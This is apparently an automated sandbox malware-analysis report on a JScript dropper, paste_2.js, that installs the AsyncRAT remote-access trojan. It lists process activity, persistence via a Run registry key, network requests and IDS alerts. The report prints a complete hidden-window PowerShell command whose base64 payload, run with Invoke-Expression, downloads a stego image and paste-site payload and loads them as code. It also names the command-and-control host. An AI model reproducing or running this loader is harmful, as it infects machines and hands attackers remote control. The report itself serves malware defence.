File name:

paste_2.js

Full analysis: https://app.any.run/tasks/a9c5d1b5-377a-49f7-88d5-6a6ac82d0b06
Verdict: Malicious activity
Threats:

AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions.

Analysis date: April 29, 2025, 09:29:11
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
payload
ta558
apt
stegocampaign
loader
reverseloader
susp-powershell
asyncrat
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines (318), with CRLF line terminators
MD5:

5A8E2C737A0B532840BE9474443617B6

SHA1:

55302F01D7DF89DB6E81D55F1CEBFB4CB59CD0F5

SHA256:

5BFEDB358B5EBE7DB6793DFB87885FD08D547CDEA786659654BC717C98825A00

SSDEEP:

384:9cvcvcvcvcvcvcvcvcvcvocvcvcvcvcvcvcvcvcvcvocvcvcvcvcvcvcvcvcvcvC:Un

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7508)
    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 7508)
    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 7508)
    • Starts Visual C# compiler

      • powershell.exe (PID: 7508)
    • ASYNCRAT has been detected (YARA)

      • csc.exe (PID: 7836)
  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 7436)
    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 7436)
    • The process bypasses the loading of PowerShell profile settings

      • wscript.exe (PID: 7436)
    • Base64-obfuscated command line is found

      • wscript.exe (PID: 7436)
    • Possibly malicious use of IEX has been detected

      • wscript.exe (PID: 7436)
    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 7436)
    • Executes script without checking the security policy

      • powershell.exe (PID: 7508)
    • Potential Corporate Privacy Violation

      • powershell.exe (PID: 7508)
    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 7508)
    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 7508)
    • Likely accesses (executes) a file from the Public directory

      • cmd.exe (PID: 7752)
    • Connects to unusual port

      • csc.exe (PID: 7836)
  • INFO

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 7508)
    • Converts byte array into Unicode string (POWERSHELL)

      • powershell.exe (PID: 7508)
    • Checks proxy server information

      • powershell.exe (PID: 7508)
      • slui.exe (PID: 8048)
    • Disables trace logs

      • powershell.exe (PID: 7508)
    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 7508)
    • Found Base64 encoded text manipulation via PowerShell (YARA)

      • powershell.exe (PID: 7508)
    • Checks supported languages

      • csc.exe (PID: 7836)
    • Reads the computer name

      • csc.exe (PID: 7836)
    • Reads the machine GUID from the registry

      • csc.exe (PID: 7836)
    • Reads the software policy settings

      • slui.exe (PID: 8048)
    • Found Base64 encoded reflection usage via PowerShell (YARA)

      • powershell.exe (PID: 7508)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
128
Monitored processes
8
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe conhost.exe no specs cmd.exe no specs conhost.exe no specs #ASYNCRAT csc.exe svchost.exe slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
7436"C:\Windows\System32\WScript.exe" C:\Users\admin\Desktop\paste_2.jsC:\Windows\System32\wscript.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7508"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$gigalitres = 'JABwAG8AbAB5AG0AZQB0AGgAeQBsACAAPQAgACcAMAAvAFYASQB1AHcAQQB5AHoARQAvAGQALwBlAGUALgBlACMAcwBhAHAALwAvADoAcwBwACMAIwBoACcAOwAkAHMAdQBwAGUAcgBoAGUAcgBvAGkAbgBlAHMAIAA9ACAAJABwAG8AbAB5AG0AZQB0AGgAeQBsACAALQByAGUAcABsAGEAYwBlACAAJwAjACcALAAgACcAdAAnADsAJABxAHUAYQB0AHIAaQBiAGwAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAYgBlAGcAdQBpAGwAdAB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGIAZQBnAHUAaQBsAHQAeQAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABzAHAAZQBjAGkAbwBsAG8AZwB5ACAAPQAgACQAYgBlAGcAdQBpAGwAdAB5AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHEAdQBhAHQAcgBpAGIAbABlACkAOwAkAGMAbwByAGIAZQBsAGEAdABlAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABzAHAAZQBjAGkAbwBsAG8AZwB5ACkAOwAkAHQAbwBjAHMAaQBuACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABqAGEAcwBtAHMAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAYQBiAGwAaQBnAGEAdABlAHMAIAA9ACAAJABjAG8AcgBiAGUAbABhAHQAZQBkAC4ASQBuAGQAZQB4AE8AZgAoACQAdABvAGMAcwBpAG4AKQA7ACQAbQBhAGsAYQByAG8AbgAgAD0AIAAkAGMAbwByAGIAZQBsAGEAdABlAGQALgBJAG4AZABlAHgATwBmACgAJABqAGEAcwBtAHMAKQA7ACQAYQBiAGwAaQBnAGEAdABlAHMAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABtAGEAawBhAHIAbwBuACAALQBnAHQAIAAkAGEAYgBsAGkAZwBhAHQAZQBzADsAJABhAGIAbABpAGcAYQB0AGUAcwAgACsAPQAgACQAdABvAGMAcwBpAG4ALgBMAGUAbgBnAHQAaAA7ACQAaABlAHIAdAB6AGkAYQBuACAAPQAgACQAbQBhAGsAYQByAG8AbgAgAC0AIAAkAGEAYgBsAGkAZwBhAHQAZQBzADsAJABrAGkAcgBzAG8AbQAgAD0AIAAkAGMAbwByAGIAZQBsAGEAdABlAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYQBiAGwAaQBnAGEAdABlAHMALAAgACQAaABlAHIAdAB6AGkAYQBuACkAOwAkAGIAYQBsAGQAYQBjAGgAaQBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGsAaQByAHMAbwBtACkAOwAkAGEAYgBiAGEAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABiAGEAbABkAGEAYwBoAGkAbgApADsAJABwAGEAcgBsAG8AdQBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAcwB1AHAAZQByAGgAZQByAG8AaQBuAGUAcwAsACcAMQAnACwAJwBDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAEQAbwB3AG4AbABvAGEAZABzACcALAAnAGYAbABhAG4AZQB1AHIAcwAnACwAJwBjAHMAYwAnACwAJwAnACwAJwAnACwAJwAnACwAJwAnACwAJwAnACwAJwAnACwAJwBqAHMAJwAsACcAJwAsACcAJwAsACcAJwAsACcAMgAnACwAJwAnACkAKQA=' -replace '','';$spoonage = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($gigalitres));Invoke-Expression $spoonage;"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7516\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7752"C:\Windows\System32\cmd.exe" /C copy *.js "C:\Users\Public\Downloads\flaneurs.js"C:\Windows\System32\cmd.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
7760\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7836"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
8048C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
Total events
9 844
Read events
9 842
Write events
2
Delete events
0

Modification events

(PID) Process:(7436) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe
Operation:writeName:JScriptSetScriptStateStarted
Value:
07D2100000000000
(PID) Process:(7508) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:Path
Value:
C:\Users\Public\Downloads\flaneurs.js
Executable files
0
Suspicious files
1
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
7508powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5liqcili.2dd.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7752cmd.exeC:\Users\Public\Downloads\flaneurs.jstext
MD5:D552AFE0B5135D6BA9DD20B62B753E31
SHA256:1D9773BAAECF59BEFCA2462C8ABBE5332688F25236F41E4F7505E94DDD71744C
7508powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_2shvnomc.szj.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7508powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:EDAC47E9F3748AEEFF70D8B17F409057
SHA256:E11EE7430657A1C1B970FCAA4667962DFC5ECB697D8BC130C3264BE5A364171F
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
33
DNS requests
9
Threats
16

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6708
RUXIMICS.exe
GET
200
23.216.77.25:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
6708
RUXIMICS.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
GET
302
207.241.224.2:443
https://archive.org/download/new_image_20250413/new_image.jpg
unknown
GET
200
207.241.227.90:443
https://ia601700.us.archive.org/6/items/new_image_20250413/new_image.jpg
unknown
image
3.03 Mb
whitelisted
GET
200
23.186.113.60:443
https://paste.ee/d/EzyAwuIV/0
unknown
text
84.0 Kb
shared
POST
500
40.91.76.224:443
https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail
unknown
xml
512 b
whitelisted
POST
500
40.91.76.224:443
https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail
unknown
xml
512 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
6708
RUXIMICS.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
whitelisted
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
whitelisted
6708
RUXIMICS.exe
23.216.77.25:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
6708
RUXIMICS.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
7508
powershell.exe
207.241.224.2:443
archive.org
INTERNET-ARCHIVE
US
whitelisted
7508
powershell.exe
207.241.227.90:443
ia601700.us.archive.org
INTERNET-ARCHIVE
US
whitelisted
7508
powershell.exe
23.186.113.60:443
paste.ee
shared
7836
csc.exe
177.255.84.173:6090
deadpoolstart2051.duckdns.org
Colombia Movil
CO
malicious

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
whitelisted
google.com
  • 142.250.185.110
whitelisted
crl.microsoft.com
  • 23.216.77.25
  • 23.216.77.29
  • 23.216.77.18
  • 23.216.77.30
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted
archive.org
  • 207.241.224.2
whitelisted
ia601700.us.archive.org
  • 207.241.227.90
whitelisted
paste.ee
  • 23.186.113.60
shared
deadpoolstart2051.duckdns.org
  • 177.255.84.173
malicious
activation-v2.sls.microsoft.com
  • 40.91.76.224
whitelisted

Threats

PID
Process
Class
Message
Misc activity
INFO [ANY.RUN] USER_AGENTS Suspicious User-Agent (Mozilla/5.0)
Misc activity
INFO [ANY.RUN] USER_AGENTS Suspicious User-Agent (Mozilla/5.0)
A Network Trojan was detected
PAYLOAD [ANY.RUN] Base64 encoded PE EXE file inside JPEG image
A Network Trojan was detected
PAYLOAD [ANY.RUN] Stegocampaign Jpeg with base64 added (TA558)
A Network Trojan was detected
ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2
7508
powershell.exe
Potential Corporate Privacy Violation
ET INFO Pastebin-style Service (paste .ee) in TLS SNI
2196
svchost.exe
Misc activity
ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee)
Exploit Kit Activity Detected
ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1
Potentially Bad Traffic
PAYLOAD [ANY.RUN] Reverse Base64 Encoded EXE Inbound
A Network Trojan was detected
ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound
No debug info